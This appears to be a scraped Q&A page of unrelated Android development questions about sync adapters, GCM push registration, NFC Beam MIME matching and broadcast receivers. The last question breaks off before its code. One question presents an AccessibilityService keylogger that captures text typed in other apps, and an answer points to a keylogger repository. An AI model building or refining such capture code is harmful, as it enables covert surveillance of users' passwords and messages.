I am creating an Android App that is providing a button to the user to refresh the database so that the local data and the data on the server remains in sync.
I have created the Account Authenticator, Content Provider and have bind them through a service. The ContentResolver.requestSync() isnt triggering onPerformSync().
Here is what I have got for the code:
public void refreshButton(View view) {
Log.v("aye", "reached here");
Bundle settings = new Bundle();
settings.putBoolean(ContentResolver.SYNC_EXTRAS_MANUAL,true);
settings.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
Account dummyAccount = createDummyAccount(this);
ContentResolver.requestSync(dummyAccount,MyContract.AUTHORITY,settings);
}
private Account createDummyAccount(Context context) {
Account dummyAccount = new Account("dummyaccount","com.example.sid.fetchdata");
AccountManager accountManager = (AccountManager) context.getSystemService(ACCOUNT_SERVICE);
try {
accountManager.addAccountExplicitly(dummyAccount, null, null);
} catch (Exception e) {
e.printStackTrace();
}
ContentResolver.setSyncAutomatically(dummyAccount, MyContract.AUTHORITY, true);
ContentResolver.setIsSyncable(dummyAccount,MyContract.AUTHORITY,1);
return dummyAccount;
}
I am using a dummy account and have created a stub account authenticator according to the Android Developers Guide.
Here's how my SyncAdapter class looks like:
public class MySyncAdapter extends AbstractThreadedSyncAdapter {
private ContentResolver contentResolver;
public MySyncAdapter(Context context,boolean autoInitialize) {
super(context,autoInitialize);
contentResolver = context.getContentResolver();
}
public MySyncAdapter(Context context,boolean autoInitialize,boolean allowParallelSyncs) {
super(context,autoInitialize,allowParallelSyncs);
contentResolver = context.getContentResolver();
}
#Override
public void onPerformSync(Account account,Bundle extras,String authority,ContentProviderClient providerClient,SyncResult syncResult) {
// android.os.Debug.waitForDebugger();
// Log.e("first","Sync Started");
GetData getData = new GetData(getContext());
ContentValues[] questionsContentValues = getData.getAndParseDataContentValues();
try {
Log.d("inside","Inside");
int deletedRows = providerClient.delete(MyContract.CONTENT_URI, null, null);
// int addedRows = contentResolver.bulkInsert(MyContract.CONTENT_URI,questionsContentValues);
// providerClient.insert(MyContract.CONTENT_URI,questionsContentValues[0]);
// Log.v("third1","" + addedRows);
contentResolver.notifyChange(MyContract.CONTENT_URI,null);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Here's how my AndroidManfiest.xml is structured:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.sid.fetchdata">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_SYNC_STATS" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:supportsRtl="true"
android:theme="#style/AppTheme">
<service
android:name=".RetrieveService"
android:exported="false" />
<activity
android:name=".FetchActivity"
android:label="#string/app_name"
android:theme="#style/AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".ListActivity"
android:label="#string/title_activity_list"
android:parentActivityName=".FetchActivity"
android:theme="#style/AppTheme.NoActionBar">
<meta-data
android:name="android.support.PARENT_ACTIVITY"
android:value="com.example.sid.fetchdata.FetchActivity" />
</activity>
<activity
android:name=".SwipeActivity"
android:label="#string/title_activity_swipe"
android:parentActivityName=".ListActivity"
android:theme="#style/AppTheme.NoActionBar">
<meta-data
android:name="android.support.PARENT_ACTIVITY"
android:value="com.example.sid.fetchdata.ListActivity" />
</activity>
<provider
android:name=".MyContentProvider"
android:syncable="true"
android:exported="true"
android:authorities="com.example.sid.fetchdata.provider" />
<service
android:name=".MyService"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator"/>
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="#xml/account_authenticator" />
</service>
<service
android:name=".SyncService"
android:process=":sync"
android:exported="true">
<intent-filter>
<action android:name="android.content.SyncAdapter"/>
</intent-filter>
<meta-data
android:name="android.content.SyncAdapter"
android:resource="#xml/my_sync_adapter" />
</service>
</application>
The corresponding classes are, MyService is bound to the MyStubAuthenticator and SyncService is bound to SyncAdapter.
The xml files for MyStubAuthenticaor:
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator
xmlns:android="http://schemas.android.com/apk/res/android"
android:icon="#mipmap/ic_launcher"
android:smallIcon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:accountType="com.example.sid.fetchdata" />
The xml file for SyncAdapter is:
<?xml version="1.0" encoding="utf-8"?>
<sync-adapter
xmlns:android="http://schemas.android.com/apk/res/android"
android:isAlwaysSyncable="true"
android:allowParallelSyncs="false"
android:supportsUploading="false"
android:userVisible="true"
android:accountType="com.example.sid.fetchdata"
android:contentAuthority="com.example.sid.fetchdata.provider" />
The contract class for the Provider is as follows:
public class MyContract {
public static final String AUTHORITY = "com.example.sid.fetchdata.provider";
public static final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY + "/" + QuestionDataBaseHelper.TABLE_QUESTIONS);
public static final int QUESTIONS = 1;
public static final int QUESTIONS_ID = 2;
public static final String SINGLE_RECORD_MIME_TYPE = "vnd.android.cursor.item/vnd.com.example.sid.fetchdata.provider.questions";
public static final String MULTIPLE_RECORDS_MIME_TYPE = "vnd.android.cursor.dir/vnd.com.example.sid.fetchdata.provider.questions";
}
I have checked that the ContentProvider is working by using it on a separate thread. The account is showing up in the Accounts section in the Settings option of the phone. The Syncing is stuck at Syncing Now...
Finally fixed the problem. The problem was with the onPerformSync() function. The function was being triggered by requestSync() but
contentResolver.notifyChange(MyContract.CONTENT_URI,null);
was the problem. The function as given in the Docs tells that the last argument syncToNetwork determines if the changes are synced to the network. Since I wasn't passing it false, an infinite loop was triggered and hence the sync was taking infinite time to complete.
So the correct call would be,
contentResolver.notifyChange(MyContract.CONTENT_URI,null,false);
Related
I am working on an Android app (academic purposes) and as part of the app I want to integrate a Keylogger. Following this answer Android Key logger I tried to implement it using AccessibilityService. The code for my class, called Keylogger.java, is the following:
import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
public class Keylogger extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int tipo = event.getEventType();
switch(tipo) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
default:
break;
}
}
#Override
public void onInterrupt() {
}
#Override
public void onServiceConnected() {
Log.d("Keylogger", "Starting service");
}
}
The Manifest file looks like this:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:roundIcon="#mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="#style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ChatBoxActivity">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Keylogger"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="#xml/accessibility_service_config" />
</service>
</application>
and finally, the Configuration file for the service:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />
When I install the app on the device it works just fine (that is, I get no errors), and I can manually activate the service going to Settings >> Accessibility. But nothing happens next. I tried everything (launch other applications and type some text) but the prints that I placed on each case will not show up. The app does several things but from my understanding the service should work automatically. What am I missing and how can I get it right?
Thank you in advance.
https://github.com/bshu2/Android-Keylogger
Here's a android accessibility Keylogger I've used before , and works nice
I guess you can compare your application with that Keylogger , you might find your mistake
I' m trying to implement push notification in my applicatio but the RegistrationIntentService.class does not get called when i use the method startService.
home activity:
public class HomeActivity extends AriesMobileActivity {
private LinearLayout itemReports;
private LinearLayout itemTickets;
private LinearLayout itemSystems;
private LinearLayout itemManuals;
private LinearLayout itemNotes;
private LinearLayout itemChecklist;
private LinearLayout itemCalendar;
private LinearLayout itemSettings;
private BroadcastReceiver mRegistrationBroadcastReceiver;
#Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mRegistrationBroadcastReceiver = new BroadcastReceiver() {
#Override
public void onReceive(Context context, Intent intent) {
SharedPreferences sharedPreferences =
PreferenceManager.getDefaultSharedPreferences(context);
boolean sentToken = sharedPreferences
.getBoolean(Preferences.SENT_TOKEN_TO_SERVER, false);
if (sentToken) {
} else {
}
}
};
GoogleApiAvailability apiAvailability = GoogleApiAvailability.getInstance();
int resultCode = apiAvailability.isGooglePlayServicesAvailable(this);
if (resultCode != ConnectionResult.SUCCESS) {
if (apiAvailability.isUserResolvableError(resultCode)) {
apiAvailability.getErrorDialog(this, resultCode, 9000)
.show();
} else {
Log.i(TAG, "This device is not supported.");
finish();
}
}
Intent intent = new Intent(this,RegistrationIntentService.class);
startService(intent);
if(this.getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE)
this.setContentView(R.layout.layout_home_landscape);
else this.setContentView(R.layout.layout_home_portrait);
itemReports = (LinearLayout) this.findViewById(R.id.item_menu_reports);
itemTickets = (LinearLayout) this.findViewById(R.id.item_menu_tickets);
itemSystems = (LinearLayout) this.findViewById(R.id.item_menu_systems);
itemManuals = (LinearLayout) this.findViewById(R.id.item_menu_manuals);
itemNotes = (LinearLayout) this.findViewById(R.id.item_menu_notes);
itemChecklist = (LinearLayout) this.findViewById(R.id.item_menu_checklist);
itemCalendar = (LinearLayout) this.findViewById(R.id.item_menu_calendar);
itemSettings = (LinearLayout) this.findViewById(R.id.item_menu_settings);
itemReports.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
Intent intent = new Intent(context, ReportListActivity.class);
startActivity(intent);
}
});
itemTickets.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
Intent intent = new Intent(context, TicketListActivity.class);
startActivity(intent);
}
});
itemSystems.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
Intent intent = new Intent(context, SystemListActivity.class);
startActivity(intent);
}
});
itemSettings.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
context.startActivity(new Intent(context, SettingsActivity.class));
}
});
itemManuals.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
Intent intent = new Intent(context, ManualsListActivity.class);
startActivity(intent);
}
});
itemCalendar.setOnClickListener(new View.OnClickListener() {
#Override
public void onClick(View v) {
Intent intent = new Intent(context, CalendarActivity.class);
startActivity(intent);
}
});
}
#Override
protected void onResume() {
super.onResume();
LocalBroadcastManager.getInstance(this).registerReceiver(mRegistrationBroadcastReceiver,
new IntentFilter(Preferences.REGISTRATION_COMPLETE));
}
#Override
protected void onPause() {
LocalBroadcastManager.getInstance(this).unregisterReceiver(mRegistrationBroadcastReceiver);
super.onPause();
}
}
RegistrationIntentService:
public class RegistrationIntentService extends IntentService {
private static final String[] TOPICS = {"global"};
public RegistrationIntentService() {
super("RegistrationIntentService");
}
#Override
protected void onHandleIntent(Intent intent) {
SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(this);
try {
// [START register_for_gcm]
// Initially this call goes out to the network to retrieve the token, subsequent calls
// are local.
// R.string.gcm_defaultSenderId (the Sender ID) is typically derived from google-services.json.
// See https://developers.google.com/cloud-messaging/android/start for details on this file.
// [START get_token]
InstanceID instanceID = InstanceID.getInstance(this);
String token = instanceID.getToken("312109676786",
GoogleCloudMessaging.INSTANCE_ID_SCOPE, null);
// [END get_token]
Log.i("RegistrationIntentService", "GCM Registration Token: " + token);
// TODO: Implement this method to send any registration to your app's servers.
sendRegistrationToServer(token);
// Subscribe to topic channels
subscribeTopics(token);
// You should store a boolean that indicates whether the generated token has been
// sent to your server. If the boolean is false, send the token to your server,
// otherwise your server should have already received the token.
sharedPreferences.edit().putBoolean(Preferences.SENT_TOKEN_TO_SERVER, true).apply();
// [END register_for_gcm]
} catch (Exception e) {
Log.d("RegistrationIntentService", "Failed to complete token refresh", e);
// If an exception happens while fetching the new token or updating our registration data
// on a third-party server, this ensures that we'll attempt the update at a later time.
sharedPreferences.edit().putBoolean(Preferences.SENT_TOKEN_TO_SERVER, false).apply();
}
// Notify UI that registration has completed, so the progress indicator can be hidden.
Intent registrationComplete = new Intent(Preferences.REGISTRATION_COMPLETE);
LocalBroadcastManager.getInstance(this).sendBroadcast(registrationComplete);
}
/**
* Persist registration to third-party servers.
*
* Modify this method to associate the user's GCM registration token with any server-side account
* maintained by your application.
*
* #param token The new token.
*/
private void sendRegistrationToServer(String token) {
// Add custom implementation, as needed.
}
/**
* Subscribe to any GCM topics of interest, as defined by the TOPICS constant.
*
* #param token GCM token
* #throws IOException if unable to reach the GCM PubSub service
*/
// [START subscribe_topics]
private void subscribeTopics(String token) throws IOException {
GcmPubSub pubSub = GcmPubSub.getInstance(this);
for (String topic : TOPICS) {
pubSub.subscribe(token, "/topics/" + topic, null);
}
}
// [END subscribe_topics]
manifest:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="ngs.ariesmobile"
android:versionCode="1"
android:versionName="1.0" >
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />
<uses-permission android:name="com.verivo.examples.pushandalerttests.permission.C2D_MESSAGE" />
<permission android:name="com.example.gcm.permission.C2D_MESSAGE"
android:protectionLevel="signature" />
<uses-permission android:name="com.example.gcm.permission.C2D_MESSAGE" />
<application
android:name=".AriesMobileApplication"
android:allowBackup="true"
android:icon="#drawable/app_logo"
android:label="#string/app_name"
android:theme="#android:style/Theme.Holo.Light.NoActionBar" >
<service
android:name=".AriesMobileGcmListenerService"
android:exported="false" >
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
</intent-filter>
</service>
<service
android:name=".AriesMobileInstanceIDListenerService"
android:exported="false">
<intent-filter>
<action android:name="com.google.android.gms.iid.InstanceID"/>
</intent-filter>
</service>
<service android:name=".RegistrationIntentService" android:exported="false">
<intent-filter>
<action android:name="com.google.android.gms.iid.InstanceID"/>
</intent-filter>
</service>
<receiver
android:name="com.google.android.gms.gcm.GcmReceiver"
android:exported="true"
android:permission="com.google.android.c2dm.permission.SEND" >
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
<category android:name="com.example.gcm" />
</intent-filter>
</receiver>
<meta-data
android:name="com.google.android.gms.version"
android:value="#integer/google_play_services_version" />
<receiver
android:name="com.verivo.examples.pushandalerttests.MyBroadcastReceiver"
android:permission="com.google.android.c2dm.permission.SEND" >
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
<category android:name="com.verivo.examples.pushandalerttests" />
</intent-filter>
</receiver>
<receiver android:name=".receivers.PhoneCallReceiver" >
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>
<activity
android:name=".view.LoginActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".view.HomeActivity"
android:label="#string/app_name" />
<activity
android:name=".view.SignatureCaptureActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:screenOrientation="sensorLandscape" />
<activity
android:name=".view.SetupHomeActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SetupApiActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SetupLoginActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SetupTechnicianActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SettingsActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SettingsPasswordActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SettingsApiActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.SynchronizationActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.ReportCustomerActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:screenOrientation="sensorLandscape" />
<activity
android:name=".view.ReportInternalActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:screenOrientation="sensorLandscape" />
<activity
android:name=".view.ReportListActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.TicketListActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.PhoneCallActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:theme="#android:style/Theme.Translucent" />
<activity
android:name=".view.SystemActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:screenOrientation="landscape" />
<activity
android:name=".view.SystemListActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name" />
<activity
android:name=".view.ReportSummaryActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/app_name"
android:screenOrientation="portrait" />
<activity
android:name=".view.ManualsListActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/title_activity_manuals_list" >
</activity>
<activity
android:name=".view.SystemStoricalActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/title_activity_system_storical" >
</activity>
<activity
android:name=".view.SystemTechnicalPartActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/title_activity_system_technical_part" >
</activity>
<activity
android:name=".view.SystemConsActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/title_activity_system_cons" >
</activity>
<activity
android:name=".view.SystemNoteActivity"
android:configChanges="orientation|keyboard|screenSize"
android:label="#string/title_activity_system_note" >
</activity>
<activity
android:name=".view.SystemSupervisionActivity"
android:configChanges="orientation|screenSize"
android:label="#string/title_activity_system_supervision" >
</activity>
<activity
android:name=".view.CalendarActivity"
android:configChanges="orientation|screenSize"
android:label="#string/title_activity_calendar"
android:screenOrientation="landscape" >
</activity>
<activity
android:name=".view.ReportHoursActivity"
android:label="#string/title_activity_report_hours" >
</activity>
<activity
android:name="ngs.ariesmobile.pushnotification.RegisterActivity"
android:label="#string/title_activity_register" >
</activity>
</application>
</manifest>
Thanks in advance
I am sure this is simple but I cannot figure it out. All I am trying to do is send a message via NFC (android Beam) and open my App on the receiver device. I did test my code on a new Project and it worked perfectly but if I try it on my real Project it just start "New Tag collected" and shows application/eu.freemoser.mydebts2go (see my screenshot). I don't know what's wrong maybe something with the manifest? The Google results doesn't match with my problem (or I am just to stupid) but I believe I found some related answer unfortunately I still was not able to solve my problem
My Manifest:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="eu.freemoser.myDebts2go"
android:versionCode="16"
android:versionName="1.1.0">
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.NFC" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" />
<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
<uses-feature android:name="android.hardware.nfc" android:required="false" />
<uses-feature android:name="android.hardware.camera" />
<uses-sdk
android:minSdkVersion="16"
android:targetSdkVersion="19" />
<uses-feature
android:glEsVersion="0x00020000"
android:required="true" />
<application
android:name="eu.freemoser.myDebts2go.MyApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="#drawable/ic_launcher"
android:label="#string/app_name"
android:theme="#style/Theme.Mydebts2go">
>
<service android:name="eu.freemoser.myDebts2goService.NotificationService"></service>
<service android:name="eu.freemoser.myDebts2goService.SynchronizationService"></service>
<service android:name="eu.freemoser.myDebts2goService.SynchronizService"></service>
<service android:name="eu.freemoser.myDebts2goService.AwesomeSynchronizService"></service>
<activity
android:name="eu.freemoser.myDebts2go.MainActivity"
android:label="#string/app_name"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="eu.freemoser.myDebts2GoActivities.AwesomeDetailActivity"
android:screenOrientation="portrait" android:theme="#style/Theme.MyDebts2GO.Detail">
</activity>
<activity android:name=".AndroidBeamActivity" android:screenOrientation="portrait"
android:theme="#android:style/Theme.DeviceDefault.Wallpaper.NoTitleBar">
<intent-filter>
<action android:name="android.nfc.action.NDEF_DISCOVERED" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="application/eu.freemoser.myDebts2go" />
</intent-filter>
</activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.DriveRestoreActivity"></activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.SynchronizActivity"></activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.SettingActivity">
<intent-filter>
<action android:name="android.intent.action.MANAGE_NETWORK_USAGE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.DatePickerActivity"></activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.LocationPickerActivity"></activity>
<activity android:name="eu.freemoser.myDebts2GoActivities.SearchActivity">
<intent-filter>
<action android:name="android.intent.action.SEARCH" />
</intent-filter>
</activity>
<activity
android:name="eu.freemoser.myDebts2GoActivities.DriveAuthorzingActivity"
android:theme="#android:style/Theme.Translucent.NoTitleBar">
</activity>
<activity
android:name="eu.freemoser.myDebts2GoActivities.FastModusShortcutActivity"
android:exported="true"
android:theme="#android:style/Theme.Holo.Light.NoActionBar">
</activity>
<!-- android:value="API_KEY" /> DEBUG-->
<meta-data
android:name="com.google.android.maps.v2.API_KEY"
android:value="API_KEY" />
<meta-data
android:name="com.google.android.gms.version"
android:value="VERSION" />
</application>
</manifest>
The Fragment (sender)
public class AwesomeDetailFragment extends Fragment implements ObservableScrollView.Callbacks, NfcAdapter.CreateNdefMessageCallback, NfcAdapter.OnNdefPushCompleteCallback {
...
#Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
...
setUpAndroidBeam();
return mRootView;
}
private void setUpAndroidBeam() {
PackageManager pm = getActivity().getPackageManager();
// Check whether NFC is available on device
if (!pm.hasSystemFeature(PackageManager.FEATURE_NFC)) {
// NFC is not available on the device.
}
// Check whether device is running Android 4.1 or higher
else if (Build.VERSION.SDK_INT < Build.VERSION_CODES.JELLY_BEAN) {
// Android Beam feature is not supported.
} else {
myNfcAdapter = NfcAdapter.getDefaultAdapter(getActivity());
manageNfc();
}
}
private void manageNfc() {
if (myNfcAdapter != null) {
myNfcAdapter.setNdefPushMessageCallback(this, getActivity());
myNfcAdapter.setOnNdefPushCompleteCallback(this, getActivity());
}
}
...
#Override
public NdefMessage createNdefMessage(NfcEvent event) {
Time time = new Time();
time.setToNow();
String text = myBetrag + "//" + myTitle + "//" + myContactName + "//" + myStatus + "//" + myDebtDate + "//" + myCreateDate + "//" + myRemamberDate + "//" + myNote;
NdefMessage msg = new NdefMessage(
new NdefRecord[]{createMimeRecord(
"application/eu.freemoser.myDebts2go", text.getBytes())});
return msg;
}
public NdefRecord createMimeRecord(String mimeType, byte[] payload) {
byte[] mimeBytes = mimeType.getBytes(Charset.forName("US-ASCII"));
NdefRecord mimeRecord = new NdefRecord(
NdefRecord.TNF_MIME_MEDIA, mimeBytes, new byte[0], payload);
return mimeRecord;
}
#Override
public void onNdefPushComplete(NfcEvent event) {
}
}
The Activity (receiver)
public class Beam extends Activity {
private Long userID = null;
private Long adressID = null;
private DBAdapter myDb;
//NFC
private String myBetrag;
private String myTitle;
private String myContactName;
private String myDebtDate;
private String myCreateDate;
private String myStatus;
private String myRemamberDate;
private String myNote;
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
#Override
protected void onResume() {
super.onResume();
if (NfcAdapter.ACTION_NDEF_DISCOVERED.equals(getIntent().getAction())) {
processIntent(getIntent());
}
}
void processIntent(Intent intent) {
myDb = new DBAdapter(this);
myDb.open();
Parcelable[] rawMsgs = intent.getParcelableArrayExtra(
NfcAdapter.EXTRA_NDEF_MESSAGES);
// only one message sent during the beam
NdefMessage msg = (NdefMessage) rawMsgs[0];
// record 0 contains the MIME type, record 1 is the AAR, if present
String temp = new String(msg.getRecords()[0].getPayload());
String[] arrrayTemp = temp.split("//");
try {
myBetrag = arrrayTemp[0];
myTitle = arrrayTemp[1];
myContactName = arrrayTemp[2];
myStatus = arrrayTemp[3];
myDebtDate = arrrayTemp[4];
myCreateDate = arrrayTemp[5];
// can be "NOT"
myRemamberDate = arrrayTemp[6];
myNote = arrrayTemp[7];
// checkValues
channgeStatus();
checkIfNot();
checkUser();
//write to database
write();
} catch (Exception ex) {
this.finish();
}
}
#Override
protected void onDestroy() {
super.onDestroy();
myDb.close();
}
private void checkUser() {
//do some stuff
...
}
private void write() {
//do some stuff
...
}
private void checkIfNot() {
//do some stuff
...
}
private void channgeStatus() {
//do some stuff
...
}
#Override
public void onNewIntent(Intent intent) {
// onResume gets called after this to handle the intent
setIntent(intent);
}
}
Android's MIME type matching for intent filters is case-sensitive (eventhough the MIME types themselves are not). Therefore, with Android (and also pretty much everywhere you use them) you should stick to the convention to use MIME types with lowercase letters only.
Specifically with MIME type records received over NFC, Android will automatically convert them to all-lowercase letters to overcome the problem of case-sensitivity in intent filters. So in your example, changing the type name in the intent filter to "application/eu.freemoser.mydebts2go" should work:
<intent-filter>
<action android:name="android.nfc.action.NDEF_DISCOVERED"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="application/eu.freemoser.mydebts2go"/>
</intent-filter>
In addition, you should also make sure you send the MIME type in lowercase letters only:
NdefMessage msg = new NdefMessage(
new NdefRecord[]{createMimeRecord(
"application/eu.freemoser.mydebts2go", text.getBytes())});
I know there are similar question in statckoverflow, but they just do NOT work for me.
Broadcast receiver(staticly registe via manifest.xml) can NOT receive package_remove event after installing on device (without running main activity)
But the receiver works if main activity is running.
To register broadcastreceiver staticly in AndroidManifest.xml as followings
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.broadcastreceivertesting"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application
android:allowBackup="true"
android:icon="#drawable/ic_launcher"
android:label="#string/app_name"
android:theme="#style/AppTheme" >
<activity
android:name="com.example.broadcastreceivertesting.MainActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name="com.example.broadcastreceivertesting.PackageBroadcastReceiver" >
<intent-filter>
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>
</application>
</manifest>
PackageBroadcastReceiver as a receiver are like following:
